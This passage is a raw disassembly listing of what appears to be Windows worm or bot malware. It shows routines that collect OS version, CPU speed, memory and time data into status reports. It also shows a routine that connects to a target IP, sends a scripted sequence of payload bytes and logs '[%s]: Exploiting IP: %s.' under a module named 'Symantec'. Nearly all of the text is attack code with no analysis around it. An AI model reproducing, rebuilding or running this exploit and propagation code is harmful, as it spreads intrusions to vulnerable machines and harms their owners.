loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 26A0475h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB98
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 2700000h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431628


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_431624
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431620
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_43160C


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BBC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383B4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8C4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB99C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC80
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2790000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2780000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 28B0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43ABA4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBACC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB8A8
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACF0
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACEC


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE8
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43ACA4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD8
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8E0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB994
		call	dword_4CB9B8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB9AC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB958
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADBC
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD80
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD64
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD38
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD08


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA18
		push	[ebp+var_4]
		call	dword_4CBA18
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2710000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCDC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDE4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADDC
		movsd
		movsb
		mov	esi, offset dword_4DBDDC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346E4
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB89C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA34
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA34


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA34
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA34


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADF4
		lea	edi, [ebp-38h]
		mov	ax, word_4346E4
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADF0
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDE4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA7C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA24
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9E4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9FC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA34
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA34
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA7C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA34
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCDC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCDC[eax]
		push	eax
		push	offset dword_43ADE0
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA7C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431808[eax]
		push	1
		lea	eax, dword_431808[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
